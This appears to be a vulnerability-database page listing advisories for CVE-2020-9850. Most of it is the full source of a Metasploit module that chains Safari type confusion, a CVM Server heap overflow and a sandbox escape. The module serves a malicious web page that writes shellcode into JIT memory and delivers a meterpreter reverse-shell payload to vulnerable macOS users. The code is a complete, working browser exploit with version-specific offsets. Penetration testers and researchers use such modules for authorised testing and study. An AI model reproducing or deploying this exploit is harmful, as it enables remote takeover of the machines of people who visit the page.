| Reporter | Title | Published | Views | Family All 137 |
|---|---|---|---|---|
| Safari Type Confusion / Sandbox Escape Exploit | 1 Oct 202000:00 | – | zdt | |
| CVE-2020-9850 | 9 Jun 202000:00 | – | attackerkb | |
| AlmaLinux 8 : GNOME (ALSA-2020:4451) | 9 Feb 202200:00 | – | nessus | |
| Apple iOS < 13.5 Multiple Vulnerabilities | 27 May 202000:00 | – | nessus | |
| CentOS 8 : GNOME (CESA-2020:4451) | 1 Feb 202100:00 | – | nessus | |
| Debian DSA-4724-1 : webkit2gtk - security update | 20 Jul 202000:00 | – | nessus | |
| Fedora 32 : webkit2gtk3 (2020-ab074c6cdf) | 14 Jul 202000:00 | – | nessus | |
| Fedora 31 : webkit2gtk3 (2020-d2736ee493) | 20 Jul 202000:00 | – | nessus | |
| FreeBSD : webkit2-gtk3 -- multible vulnerabilities (efd03116-c2a9-11ea-82bc-b42e99a1b9c3) | 21 Sep 202000:00 | – | nessus | |
| GLSA-202007-11 : WebKitGTK+: Multiple vulnerabilities | 27 Jul 202000:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Safari in Operator Side Effect Exploit',
'Description' => %q{
This module exploits an incorrect side-effect modeling of the 'in' operator.
The DFG compiler assumes that the 'in' operator is side-effect free, however
the <embed> element with the PDF plugin provides a callback that can trigger
side-effects leading to type confusion (CVE-2020-9850).
The type confusion can be used as addrof and fakeobj primitives that then
lead to arbitrary read/write of memory. These primitives allow us to write
shellcode into a JIT region (RWX memory) containing the next stage of the
exploit.
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
and extracts a macOS application containing our payload into /var/db/CVMS.
The payload can then be opened with CVE-2020-9801, executing the payload
as a user but without sandbox restrictions.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
'timwr' # metasploit integration
],
'References' => [
['CVE', '2020-9801'],
['CVE', '2020-9850'],
['CVE', '2020-9856'],
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Mar 18 2020'
)
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
])
end
def exploit_js
<<~JS
const DUMMY_MODE = 0;
const ADDRESSOF_MODE = 1;
const FAKEOBJ_MODE = 2;
function pwn() {
let otherWindow = document.getElementById('frame').contentWindow;
let innerDiv = otherWindow.document.querySelector('div');
if (!innerDiv) {
print("Failed to get innerDiv");
return;
}
let embed = otherWindow.document.querySelector('embed');
otherWindow.document.body.removeChild(embed);
otherWindow.document.body.removeChild(otherWindow.annotationContainer);
const origFakeObjArr = [1.1, 1.1];
const origAddrOfArr = [2.2, 2.2];
let fakeObjArr = Array.from(origFakeObjArr);
let addressOfArr = Array.from(origAddrOfArr);
let addressOfTarget = {};
let sideEffectMode = DUMMY_MODE;
otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {
if (sideEffectMode == DUMMY_MODE)
return;
else if (sideEffectMode == FAKEOBJ_MODE)
fakeObjArr[0] = {};
else if (sideEffectMode == ADDRESSOF_MODE)
addressOfArr[0] = addressOfTarget;
});
print('Callback is registered');
otherWindow.document.body.appendChild(embed);
let triggerArr;
function optFakeObj(triggerArr, arr, addr) {
arr[1] = 5.5;
let tmp = 0 in triggerArr;
arr[0] = addr;
return tmp;
}
function optAddrOf(triggerArr, arr) {
arr[1] = 6.6;
let tmp = 0 in triggerArr;
return [arr[0], tmp];
}
function prepare() {
triggerArr = [7.7, 8.8];
triggerArr.__proto__ = embed;
sideEffectMode = DUMMY_MODE;
for (var i = 0; i < 1e5; i++) {
optFakeObj(triggerArr, fakeObjArr, 9.9);
optAddrOf(triggerArr, addressOfArr);
}
delete triggerArr[0];
}
function cleanup() {
otherWindow.document.body.removeChild(embed);
otherWindow.document.body.appendChild(embed);
if (sideEffectMode == FAKEOBJ_MODE)
fakeObjArr = Array.from(origFakeObjArr);
else if (sideEffectMode == ADDRESSOF_MODE)
addressOfArr = Array.from(origAddrOfArr);
sideEffectMode = DUMMY_MODE;
}
function addressOf(obj) {
addressOfTarget = obj;
sideEffectMode = ADDRESSOF_MODE;
let ret = optAddrOf(triggerArr, addressOfArr)[0];
cleanup();
return Int64.fromDouble(ret);
}
function fakeObj(addr) {
sideEffectMode = FAKEOBJ_MODE;
optFakeObj(triggerArr, fakeObjArr, addr.asDouble());
let ret = fakeObjArr[0];
cleanup();
return ret;
}
prepare();
print("Prepare is done");
let hostObj = {
_: 1.1,
length: (new Int64('0x4141414141414141')).asDouble(),
id: new Int64([
0, 0, 0, 0, // m_structureID
0x17, // m_indexingType
0x19, // m_type
0x08, // m_flags
0x1 // m_cellState
]).asJSValue(),
butterfly: 0,
o:1,
executable:{
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
unlinkedExecutable:{
isBuiltinFunction: 1 << 31,
b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48)
identifier: null
}
},
strlen_or_id: (new Int64('0x10')).asDouble(),
target: null
}
// Structure ID leak of hostObj.target
hostObj.target=hostObj
var hostObjRawAddr = addressOf(hostObj);
var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)
var fakeHostObj = fakeObj(hostObjBufferAddr);
var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));
hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier
let rawStructureId=Function.prototype.toString.apply(fakeHostObj)
let leakStructureId=Add(new Int64(
rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000
), new Int64([
0, 0, 0, 0, // m_structureID
0x07, // m_indexingType
0x22, // m_type
0x06, // m_flags
0x1 // m_cellState
]))
print('Leaked structure ID: ' + leakStructureId);
hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();
hostObj.butterfly = fakeHostObj;
addressOf = function(obj) {
hostObj.o = obj;
return Int64.fromDouble(fakeHostObj[2]);
}
fakeObj = function(addr) {
fakeHostObj[2] = addr.asDouble();
return hostObj.o;
}
print('Got reliable addressOf/fakeObj');
let rwObj = {
_: 1.1,
length: (new Int64('0x4141414141414141')).asDouble(),
id: leakStructureId.asDouble(),
butterfly: 1.1,
__: 1.1,
innerLength: (new Int64('0x4141414141414141')).asDouble(),
innerId: leakStructureId.asDouble(),
innerButterfly: 1.1,
}
var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);
var fakeRwObj = fakeObj(rwObjBufferAddr);
rwObj.butterfly = fakeRwObj;
var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));
rwObj.innerButterfly = fakeInnerObj;
function read64(addr) {
// We use butterfly and it depends on its size in -1 index
// Thus, we keep searching non-zero value to read value
for (var i = 0; i < 0x1000; i++) {
fakeRwObj[5] = Sub(addr, -8 * i).asDouble();
let value = fakeInnerObj[i];
if (value) {
return Int64.fromDouble(value);
}
}
throw 'Failed to read: ' + addr;
}
function write64(addr, value) {
fakeRwObj[5] = addr.asDouble();
fakeInnerObj[0] = value.asDouble();
}
function makeJITCompiledFunction() {
var obj = {};
// Some code to avoid inlining...
function target(num) {
num ^= Math.random() * 10000;
num ^= 0x70000001;
num ^= Math.random() * 10000;
num ^= 0x70000002;
num ^= Math.random() * 10000;
num ^= 0x70000003;
num ^= Math.random() * 10000;
num ^= 0x70000004;
num ^= Math.random() * 10000;
num ^= 0x70000005;
num ^= Math.random() * 10000;
num ^= 0x70000006;
num ^= Math.random() * 10000;
num ^= 0x70000007;
num ^= Math.random() * 10000;
num ^= 0x70000008;
num ^= Math.random() * 10000;
num ^= 0x70000009;
num ^= Math.random() * 10000;
num ^= 0x7000000a;
num ^= Math.random() * 10000;
num ^= 0x7000000b;
num ^= Math.random() * 10000;
num ^= 0x7000000c;
num ^= Math.random() * 10000;
num ^= 0x7000000d;
num ^= Math.random() * 10000;
num ^= 0x7000000e;
num ^= Math.random() * 10000;
num ^= 0x7000000f;
num ^= Math.random() * 10000;
num ^= 0x70000010;
num ^= Math.random() * 10000;
num ^= 0x70000011;
num ^= Math.random() * 10000;
num ^= 0x70000012;
num ^= Math.random() * 10000;
num ^= 0x70000013;
num ^= Math.random() * 10000;
num ^= 0x70000014;
num ^= Math.random() * 10000;
num ^= 0x70000015;
num ^= Math.random() * 10000;
num ^= 0x70000016;
num ^= Math.random() * 10000;
num ^= 0x70000017;
num ^= Math.random() * 10000;
num ^= 0x70000018;
num ^= Math.random() * 10000;
num ^= 0x70000019;
num ^= Math.random() * 10000;
num ^= 0x7000001a;
num ^= Math.random() * 10000;
num ^= 0x7000001b;
num ^= Math.random() * 10000;
num ^= 0x7000001c;
num ^= Math.random() * 10000;
num ^= 0x7000001d;
num ^= Math.random() * 10000;
num ^= 0x7000001e;
num ^= Math.random() * 10000;
num ^= 0x7000001f;
num ^= Math.random() * 10000;
num ^= 0x70000020;
num ^= Math.random() * 10000;
num &= 0xffff;
return num;
}
// Force JIT compilation.
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
function getJITCodeAddr(func) {
var funcAddr = addressOf(func);
print("Target function @ " + funcAddr.toString());
var executableAddr = read64(Add(funcAddr, 3 * 8));
print("Executable instance @ " + executableAddr.toString());
var jitCodeAddr = read64(Add(executableAddr, 3 * 8));
print("JITCode instance @ " + jitCodeAddr.toString());
if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||
And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {
jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);
print("approx. JITCode instance @ " + jitCodeAddr.toString());
}
return jitCodeAddr;
}
function setJITCodeAddr(func, addr) {
var funcAddr = addressOf(func);
print("Target function @ " + funcAddr.toString());
var executableAddr = read64(Add(funcAddr, 3 * 8));
print("Executable instance @ " + executableAddr.toString());
write64(Add(executableAddr, 3 * 8), addr);
}
function getJITFunction() {
var shellcodeFunc = makeJITCompiledFunction();
shellcodeFunc();
var jitCodeAddr = getJITCodeAddr(shellcodeFunc);
return [shellcodeFunc, jitCodeAddr];
}
var [_JITFunc, rwxMemAddr] = getJITFunction();
for (var i = 0; i < stage0.length; i++)
write64(Add(rwxMemAddr, i), new Int64(stage0[i]));
setJITCodeAddr(alert, rwxMemAddr);
var argv = {
a0: stage1Arr,
a1: stage2Arr,
doc: document,
a2: 0x41414141,
a3: 0x42424242,
a4: 0x43434343,
};
alert(argv);
}
var ready = new Promise(function(resolve) {
if (typeof(window) === 'undefined')
resolve();
else
window.onload = function() {
resolve();
}
});
ready.then(function() {
try {
pwn()
} catch (e) {
print("Exception caught: " + e);
location.reload();
}
}).catch(function(err) {
print("Initializatin failed");
});
JS
end
def offset_table
{
'placeholder' => {
jsc_confstr_stub: 0x0FF5370041414141,
jsc_llint_entry_call: 0x0FF5370041414142,
libsystem_c_confstr: 0x0FF5370041414143,
libsystem_c_dlopen: 0x0FF5370041414144,
libsystem_c_dlsym: 0x0FF5370041414145
},
'10.15.3' => {
jsc_confstr_stub: 0xE7D8B4,
jsc_llint_entry_call: 0x361f13,
libsystem_c_confstr: 0x2644,
libsystem_c_dlopen: 0x80430,
libsystem_c_dlsym: 0x80436
},
'10.15.4' => {
jsc_confstr_stub: 0xF96446,
jsc_llint_entry_call: 0x380a1d,
libsystem_c_confstr: 0x2be4,
libsystem_c_dlopen: 0x8021e,
libsystem_c_dlsym: 0x80224
}
}
end
def get_offsets(user_agent)
if user_agent =~ /Intel Mac OS X (.*?)\)/
osx_version = Regexp.last_match(1).gsub('_', '.')
if user_agent =~ %r{Version/(.*?) }
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')
print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
return false
else
print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
end
end
mac_osx_version = Gem::Version.new(osx_version)
if mac_osx_version >= Gem::Version.new('10.15.5')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif mac_osx_version < Gem::Version.new('10.14')
print_warning "macOS version #{mac_osx_version} is not supported"
elsif offset_table.key?(osx_version)
return offset_table[osx_version]
else
print_warning "No offsets for version #{mac_osx_version}"
end
else
print_warning 'Unexpected User-Agent'
end
return false
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
user_agent = request['User-Agent']
print_status("Request #{request.uri} from #{user_agent}")
if request.uri.ends_with? '.pdf'
send_response(cli, '', { 'Content-Type' => 'application/pdf' })
return
end
offsets = get_offsets(user_agent)
unless offsets
send_not_found(cli)
return
end
utils = exploit_data 'javascript_utils', 'utils.js'
int64 = exploit_data 'javascript_utils', 'int64.js'
stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'
stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'
offset_table['placeholder'].each do |k, v|
placeholder_index = stage1.index([v].pack('Q'))
stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
end
case target['Arch']
when ARCH_X64
root_payload = payload.encoded
when ARCH_PYTHON
root_payload = "CMD:echo \"#{payload.encoded}\" | python"
when ARCH_CMD
root_payload = "CMD:#{payload.encoded}"
end
if root_payload.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
end
placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
stage2[placeholder_index, root_payload.length] = root_payload
payload_js = <<~JS
const stage0 = [
#{Rex::Text.to_num(stage0)}
];
var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);
var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);
JS
jscript = <<~JS
#{utils}
#{int64}
#{payload_js}
#{exploit_js}
JS
if datastore['DEBUG_EXPLOIT']
debugjs = %^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(%r{//.*$}, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
pdfpath = datastore['URIPATH'] || get_resource
pdfpath += '/' unless pdfpath.end_with? '/'
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'
html = <<~HTML
<html>
<head>
<style>
body {
margin: 0;
}
iframe {
display: none;
}
</style>
</head>
<body>
<iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>
<script>
#{jscript}
</script>
</body>
</html>
HTML
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation